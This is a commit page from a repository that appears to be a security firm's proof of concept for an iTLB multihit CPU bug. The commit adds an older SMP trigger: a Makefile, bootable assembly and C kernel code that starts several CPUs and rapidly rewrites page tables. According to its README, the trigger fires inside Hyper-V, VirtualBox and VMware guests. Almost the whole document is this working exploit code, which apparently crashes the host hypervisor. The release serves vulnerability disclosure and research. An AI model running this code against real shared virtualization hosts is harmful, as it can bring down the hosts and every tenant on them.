Projects STRLCPY itlb_poc Commits b9a2460d
🤬
  • Include older trigger (SMP)

  • Loading...
  • dan committed 1 year ago
    b9a2460d
    1 parent a7e00723
  • ■ ■ ■ ■ ■ ■
    README.md
    1 1  # itlb_poc
    2 2  iTLB multihit PoC
    3 3   
     4 +Article: https://www.tacitosecurity.com/multihit.html
     5 + 
     6 +**UPDATE**: included older trigger under `trigger_old/`.
     7 + 
    4 8   
    5 9  ## How to use
    6 10  - For most hypervisors (and Gen1 on hyper-v): create a VM with a bootable disk pointing to `poc_bios.iso`.
    skipped 8 lines
  • ■ ■ ■ ■ ■ ■
    trigger_old/Makefile
     1 +CFLAGS = -march=native -O3 -std=gnu99 -Wall -Wno-address-of-packed-member -nostdlib -nostartfiles -nodefaultlibs -fno-stack-protector -mno-red-zone -I./grub
     2 +MKRESCUE = /usr/bin/grub-mkrescue
     3 +GRUB_EFI_FLAGS = -d /usr/lib/grub/x86_64-efi/
     4 +GRUB_BIOS_FLAGS = -d /usr/lib/grub/i386-pc/
     5 +OBJECTS = main.o bootstrap.o
     6 + 
     7 +all: kernel_efi.iso kernel_bios.iso
     8 + 
     9 +%.o : %.c
     10 + $(CC) $(CFLAGS) -c $< -o $@
     11 + 
     12 +bootstrap.o : bootstrap.asm
     13 + nasm -felf64 $< -o $@
     14 + 
     15 +kernel_efi.iso: iso/boot/kernel
     16 + $(MKRESCUE) $(GRUB_EFI_FLAGS) -o $@ iso
     17 + 
     18 +kernel_bios.iso: iso/boot/kernel
     19 + $(MKRESCUE) $(GRUB_BIOS_FLAGS) -o $@ iso
     20 + 
     21 +iso/boot/kernel: $(OBJECTS)
     22 + $(LD) -melf_x86_64 --section-start=".bootstrap"=0x8000 $^ -o $@
     23 + 
     24 +clean:
     25 + rm -f *.o iso/boot/kernel *.iso
     26 + 
     27 + 
  • ■ ■ ■ ■ ■ ■
    trigger_old/README.md
     1 +This is a direct derivative of the original fuzzcase that found the bug, and is thus very messy.
     2 +However, it works across more CPU models than our newer PoC.
     3 + 
     4 +**Requires to set up the VMs with SMP (works with 2 CPUs but uses up to 8 for faster triggering).**
     5 + 
     6 +Usually it takes from 10 seconds to 10 minutes to trigger, with a few systems taking up to 6 hours.
     7 + 
     8 +Works in
     9 +- Hyperv (gen2 only)
     10 +- VirtualBox (BIOS boot)
     11 +- VMware Workstation and ESXi (BIOS boot)
     12 + 
     13 +Does not work in KVM, or Hyper-V gen1. Due MMIO areas of virtual hardware, they have 4k EPT mappings in low memory preventing large pages
     14 +from being used here, and the trigger uses hardcoded addresses in this range. This can be observed by dumping the EPT mappings of Hyper-V (use https://github.com/ergot86/crap/blob/main/hyperv_stuff.js).
     15 + 
  • ■ ■ ■ ■ ■ ■
    trigger_old/bootstrap.asm
     1 +;; SPDX-FileCopyrightText: 2022 TACITO SECURITY <[email protected]>
     2 +;; SPDX-License-Identifier: GPL-3.0-or-later
     3 +extern kmain
     4 +global _start, booted_cpus, go_aps, pt, pd
     5 +[bits 32]
     6 + 
     7 +[section .bss]
     8 +align 0x1000
     9 +resb 0x2000 * 16 ; 16x 8k stacks
     10 +stack_top:
     11 +pt: resb 0x1000 ; 1 PT (mirror)
     12 +pd: resb 0x1000 * 4 ; 4 PDs = maps 4GB
     13 +pdpt: resb 0x1000 ; 1 PDPT
     14 +pml4: resb 0x1000 ; 1 PML
     15 + 
     16 +[section .data]
     17 +gdt: ; minimal 64-bit GDT
     18 +dq 0x0000000000000000
     19 +dq 0x00A09b000000ffff ; kernel CS
     20 +dq 0x00C093000000ffff ; kernel DS
     21 +gdt_end: ; TODO: TSS
     22 +gdtr:
     23 +dw gdt_end - gdt - 1 ; GDT limit
     24 +dq gdt ; GDT base
     25 +booted_cpus: dd 0
     26 +go_aps: dd 0
     27 + 
     28 +[section .text]
     29 +align 8, db 0
     30 +;; multiboot2 header
     31 +mb_header_size equ (mb_header_end - mb_header)
     32 +mb_header:
     33 +dd 0xE85250D6 ; magic field
     34 +dd 0 ; architecture field: i386 32-bit protected-mode
     35 +dd mb_header_size ; header length field
     36 +dd 0xffffffff & -(0xE85250D6 + mb_header_size) ; checksum field
     37 +;; termination tag
     38 +dw 0 ; tag type
     39 +dw 0 ; tag flags
     40 +dd 8 ; tag size
     41 +mb_header_end:
     42 +;; kernel code starts here
     43 +_start:
     44 +mov edi, pt
     45 +mov ecx, 512
     46 +mov eax, 0x03
     47 +init_pte:
     48 +mov dword [edi], eax
     49 +add eax, 0x1000
     50 +add edi, 8
     51 +dec ecx
     52 +jnz init_pte
     53 +mov edi, pd
     54 +mov ecx, 512*4
     55 +mov eax, 0x83
     56 +init_pde:
     57 +mov dword [edi], eax
     58 +add eax, 0x200000
     59 +add edi, 8
     60 +dec ecx
     61 +jnz init_pde
     62 +mov dword [pdpt], pd + 7
     63 +mov dword [pdpt+0x08], pd + 0x1007
     64 +mov dword [pdpt+0x10], pd + 0x2007
     65 +mov dword [pdpt+0x18], pd + 0x3007
     66 +mov dword [pml4], pdpt + 7
     67 +init_long_mode:
     68 +mov eax, pml4
     69 +cld
     70 +mov edi, 1
     71 +lock xadd dword [booted_cpus], edi
     72 +mov esi, edi
     73 +shl esi, 13
     74 +mov esp, stack_top
     75 +sub esp, esi
     76 +;; load page-tables
     77 +mov cr3, eax
     78 +mov ecx, 0xC0000080
     79 +rdmsr
     80 +or eax, 0x101 ; LME | SCE
     81 +wrmsr ; set EFER
     82 +lgdt [gdtr] ; load 64-bit GDT
     83 +mov eax, 0x1ba ; PVI | DE | PSE | PAE | PGE | PCE
     84 +mov cr4, eax
     85 +mov eax, 0x8000003b ; PG | PE | MP | TS | ET | NE
     86 +mov cr0, eax
     87 +jmp 0x08:code64
     88 +[bits 64]
     89 +code64:
     90 +mov ax, 0x10
     91 +mov ds, ax
     92 +mov es, ax
     93 +mov ss, ax
     94 + or edi,edi
     95 + jnz ap_ready_to_go
     96 + 
     97 + mov word [rdi + 0xb80a0],0x0742
     98 + 
     99 + call kmain
     100 + int3
     101 + 
     102 +ap_ready_to_go:
     103 + mov word [rdi * 2 + 0xb80a0],0x0741
     104 + 
     105 +wait_for_go_aps_loop:
     106 + cmp dword [go_aps],0
     107 + je wait_for_go_aps_loop
     108 + 
     109 +goto_zero:
     110 + xor rax,rax
     111 + jmp rax
     112 + 
     113 +align 0x1000, int3
     114 + 
     115 +[global ap_code]
     116 +ap_code:
     117 +cli
     118 +mov rbx, 0x005b9000
     119 +mov cr3, rbx
     120 +mov rax,rbx
     121 +mov rsi,rbx
     122 +mov rdx,rbx
     123 +mov rbp, 0x1337
     124 +jmp eop
     125 +align 0x800, nop
     126 +times 0x7e0 nop
     127 +times 4 nop
     128 +[global eop]
     129 +eop:
     130 +inc rbp
     131 +add rdx,rbp
     132 +and edx,0x000ffF00
     133 +add edx,0x00100000
     134 +lea eax,[edx + 0x1000]
     135 +call rdx
     136 +;times 2 nop
     137 +db 0x00
     138 +[global ap_code_next]
     139 +ap_code_next:
     140 +;; next page
     141 +db 0x00
     142 +db 0xeb, 0xe1
     143 +times 0x700 db 0xeb, 0xfc
     144 +align 0x1000, int3
     145 +[global ap_code_end]
     146 +ap_code_end:
     147 + 
     148 +[global fiddle]
     149 +fiddle:
     150 + cli
     151 + 
     152 + 
     153 + mov rcx, 0x00000001
     154 + mov rdi, 0x005b0000
     155 + mov r9, 0x005bb003
     156 + call write_pml4
     157 + 
     158 + mov rcx, 1
     159 + mov rdi, 0x005b9000
     160 + mov r9, 0x005bb003
     161 + call write_pml4
     162 + 
     163 + mov rcx, 1
     164 + mov rdi, 0x005bb000
     165 + mov r9, 0x005bd003
     166 + call write_pdpt
     167 + 
     168 + mov rcx, 1
     169 + mov rdi, 0x005bf000
     170 + 
     171 + mov r9, 0x90003
     172 + call write_pdpt
     173 + 
     174 + mov rcx, 0x00000032
     175 + mov rdi, 0x005bd000
     176 + mov r9, 0x00000083
     177 + call write_pde_big
     178 + 
     179 + mov qword [0x005bf000],0x00003003
     180 + mov qword [0x005bf008],0x00004003
     181 + 
     182 + ret
     183 + 
     184 +[global twiddle]
     185 +twiddle:
     186 + 
     187 + cli
     188 + 
     189 + 
     190 + mov rax, 0deadf007deadf007h
     191 + 
     192 + here:
     193 + mfence
     194 + mov rcx, 2
     195 + mov rdi, 0x005bd000
     196 + mov r9, 0x00000083
     197 + call write_pde_big
     198 + mfence
     199 + mov qword [0x005bd000], 0x005bf003
     200 + mov qword [0x005bd008], 0x005bf003
     201 + jmp here
     202 + times 0x400 db 0xeb,0xfc
     203 + 
     204 + write_pml4:
     205 + write_pdpt:
     206 + write_pde:
     207 + write_pte:
     208 + mov rsi, 0x1000
     209 + jmp write_common
     210 + write_pde_big:
     211 + mov rsi, 0x200000
     212 + jmp write_common
     213 + write_common:
     214 + mov rbx, 512
     215 + write_common_:
     216 + mov rdx, rcx ; count
     217 + mov r8, r9 ; original entry
     218 + write_common__:
     219 + mov qword [rdi], r8
     220 + add rdi, 8
     221 + add r8, rsi
     222 + dec rbx
     223 + jz end
     224 + dec rdx
     225 + jnz write_common__
     226 + jmp write_common_
     227 + end:
     228 + ret
     229 + 
     230 + 
     231 +;; AP Bootstrap code (@0x8000)
     232 +[section .bootstrap]
     233 +[bits 16]
     234 +cli
     235 +lgdt [ap_gdtr]
     236 +mov edx, 0x3b ; PE | MP | TS | ET | NE
     237 +mov cr0, edx
     238 +mov eax, 0x10
     239 +mov ds, ax
     240 +mov es, ax
     241 +mov ss, ax
     242 +jmp 0x08:protected_mode
     243 +[bits 32]
     244 +protected_mode:
     245 +jmp init_long_mode
     246 + 
     247 +ap_gdt:
     248 +dq 0x0000000000000000
     249 +dq 0x00CF9A000000FFFF
     250 +dq 0x00CF92000000FFFF
     251 +ap_gdt_end:
     252 +ap_gdtr:
     253 +dw ap_gdt_end - ap_gdt - 1
     254 +dd ap_gdt
     255 + 
     256 + 
  • ■ ■ ■ ■ ■
    trigger_old/iso/boot/grub/grub.cfg
     1 +set timeout=0
     2 +set default=0
     3 +multiboot2 /boot/kernel
     4 +boot
     5 + 
  • trigger_old/kernel_bios.iso
    Binary file.
  • trigger_old/kernel_efi.iso
    Binary file.
  • ■ ■ ■ ■ ■ ■
    trigger_old/main.c
     1 +/*
     2 + SPDX-FileCopyrightText: 2022 TACITO SECURITY <[email protected]>
     3 + SPDX-License-Identifier: GPL-3.0-or-later
     4 +*/
     5 +#include <stdint.h>
     6 +#include <x86intrin.h>
     7 + 
     8 +extern volatile uint32_t booted_cpus;
     9 +extern volatile uint32_t go_aps;
     10 +extern volatile uint64_t pt[512];
     11 +extern volatile uint64_t pd[512];
     12 + 
     13 +static void outb(uint16_t port, uint8_t val)
     14 +{
     15 + __asm__ __volatile__("outb %0, %1" ::"a"(val), "Nd"(port));
     16 +}
     17 + 
     18 +static uint8_t inb(uint16_t port)
     19 +{
     20 + uint8_t ret;
     21 + __asm__ __volatile__("inb %1, %0"
     22 + : "=a"(ret)
     23 + : "Nd"(port));
     24 + return ret;
     25 +}
     26 + 
     27 +static uint32_t inl(uint16_t port)
     28 +{
     29 + uint32_t ret;
     30 + __asm__ __volatile__("inl %1, %0"
     31 + : "=a"(ret)
     32 + : "Nd"(port));
     33 + return ret;
     34 +}
     35 + 
     36 +void acpi_sleep(uint64_t ms)
     37 +{
     38 + static uint16_t TimerPort = 1032; // hyperv
     39 +/// static uint16_t TimerPort = 0x4008; //vbox
     40 +/// static uint16_t TimerPort = 0x1008; //vmware
     41 +#define ACPI_TIMER_FREQ 3579545
     42 + uint64_t total_ticks = (ACPI_TIMER_FREQ * ms) / 1000;
     43 + uint64_t cur_ticks = 0;
     44 + uint64_t cur_value = 0;
     45 + uint64_t prev_value = 0;
     46 + uint32_t timer_max = 0xffFFffFF;
     47 + 
     48 + prev_value = inl(TimerPort);
     49 + while (cur_ticks < total_ticks)
     50 + {
     51 + cur_value = inl(TimerPort);
     52 + if (cur_value < prev_value)
     53 + cur_ticks += cur_value + timer_max + 1 - prev_value;
     54 + else
     55 + cur_ticks += cur_value - prev_value;
     56 + prev_value = cur_value;
     57 + }
     58 +}
     59 + 
     60 +volatile uint64_t busy_sleep;
     61 + 
     62 +void sleep(uint64_t ms)
     63 +{
     64 + // acpi_sleep(ms);
     65 + __asm__("1: loop 1b"
     66 + :
     67 + : "c"(ms * 1000000));
     68 +}
     69 + 
     70 +uint64_t rdmsr(uint64_t msr)
     71 +{
     72 + uint64_t msr_value;
     73 + __asm__("rdmsr"
     74 + : "=A"(msr_value)
     75 + : "c"(msr));
     76 + return msr_value;
     77 +}
     78 + 
     79 +static void *get_apic_base()
     80 +{
     81 + return (void *)(rdmsr(0x1b) & 0xfffff000);
     82 +}
     83 + 
     84 +static uint32_t *apic_reg(unsigned int num)
     85 +{
     86 + return (uint32_t *)((char *)get_apic_base() + 0x10 * num);
     87 +}
     88 + 
     89 +static void lapic_ack()
     90 +{
     91 + *(uint32_t volatile *)apic_reg(0xb) = 0;
     92 +}
     93 + 
     94 +void enable_lapic()
     95 +{
     96 + uint32_t volatile *sivr = apic_reg(0xf);
     97 + uint32_t volatile *icr_lo = apic_reg(0x30);
     98 + uint32_t volatile *icr_hi = apic_reg(0x31);
     99 + uint32_t volatile *esr = apic_reg(0x28);
     100 + 
     101 + *sivr |= 0x1ff;
     102 + *esr = 0;
     103 + *esr = 0;
     104 + lapic_ack();
     105 + *icr_hi = 0;
     106 + *icr_lo = 0x80000 | 0x500 | 0x8000;
     107 +}
     108 + 
     109 +void init_cpu(uint8_t apic_id, uint64_t bootstrap_address)
     110 +{
     111 + uint32_t volatile *icr_lo = apic_reg(0x30);
     112 + uint32_t volatile *icr_hi = apic_reg(0x31);
     113 + 
     114 + *icr_hi = apic_id << 24;
     115 + *icr_lo = 0x4500; /* INIT IPI */
     116 + sleep(10);
     117 + *icr_hi = apic_id << 24;
     118 + *icr_lo = 0x4600 | (bootstrap_address >> 12); /* SIPI */
     119 + sleep(2);
     120 +}
     121 + 
     122 +static inline void *memcpy(void *dest, const void *src, size_t count)
     123 +{
     124 + char *tmp = dest;
     125 + const char *s = src;
     126 + 
     127 + while (count--)
     128 + *tmp++ = *s++;
     129 + return dest;
     130 +}
     131 + 
     132 +extern unsigned char ap_code[1], ap_code_next[1];
     133 +void fiddle(void);
     134 +void twiddle(void);
     135 + 
     136 +void kmain()
     137 +{
     138 + uint32_t asd;
     139 + volatile unsigned char *p = (volatile unsigned char *)0;
     140 + uint32_t i;
     141 + 
     142 + // asm("int3");
     143 + 
     144 + for (i = 0; i < 0x7000; i += 1)
     145 + p[i] = 0;
     146 + 
     147 + p = (unsigned char *)0x005b0000;
     148 + for (i = 0; i < 0x10000; i += 1)
     149 + p[i] = 0;
     150 + 
     151 + memcpy((void *)0x3000, ap_code, 0x1000);
     152 + memcpy((void *)0x1000, ap_code_next, 0x1000);
     153 + memcpy((void *)0x4000, ap_code_next, 0x1000);
     154 + memcpy((void *)0x0, ap_code, 0x1000);
     155 +#if 1
     156 + p = (void *)0x100000;
     157 + for (i = 0; i < 0x100000; i += 1)
     158 + p[i] = 0x90; /* NOP */
     159 + for (i = 0; i < 0x100000; i += 0x2000)
     160 + p[i] = 0xc3; /* RET */
     161 + p[0x100000 - 1] = 0xc3; /* RET */
     162 +#endif
     163 + 
     164 + fiddle();
     165 + 
     166 + enable_lapic();
     167 + 
     168 +#if 1
     169 + for (i = 1; i < 4; i += 1)
     170 + {
     171 + init_cpu(i, 0x8000);
     172 + }
     173 +#endif
     174 +#if 1
     175 + for (i = 5; i < 8; i += 1)
     176 + {
     177 + init_cpu(i, 0x8000);
     178 + }
     179 +#endif
     180 + 
     181 + go_aps = 1;
     182 + 
     183 + twiddle();
     184 + 
     185 + while (1)
     186 + ;
     187 +}
     188 + 
Please wait...
Page is in error, reload to recover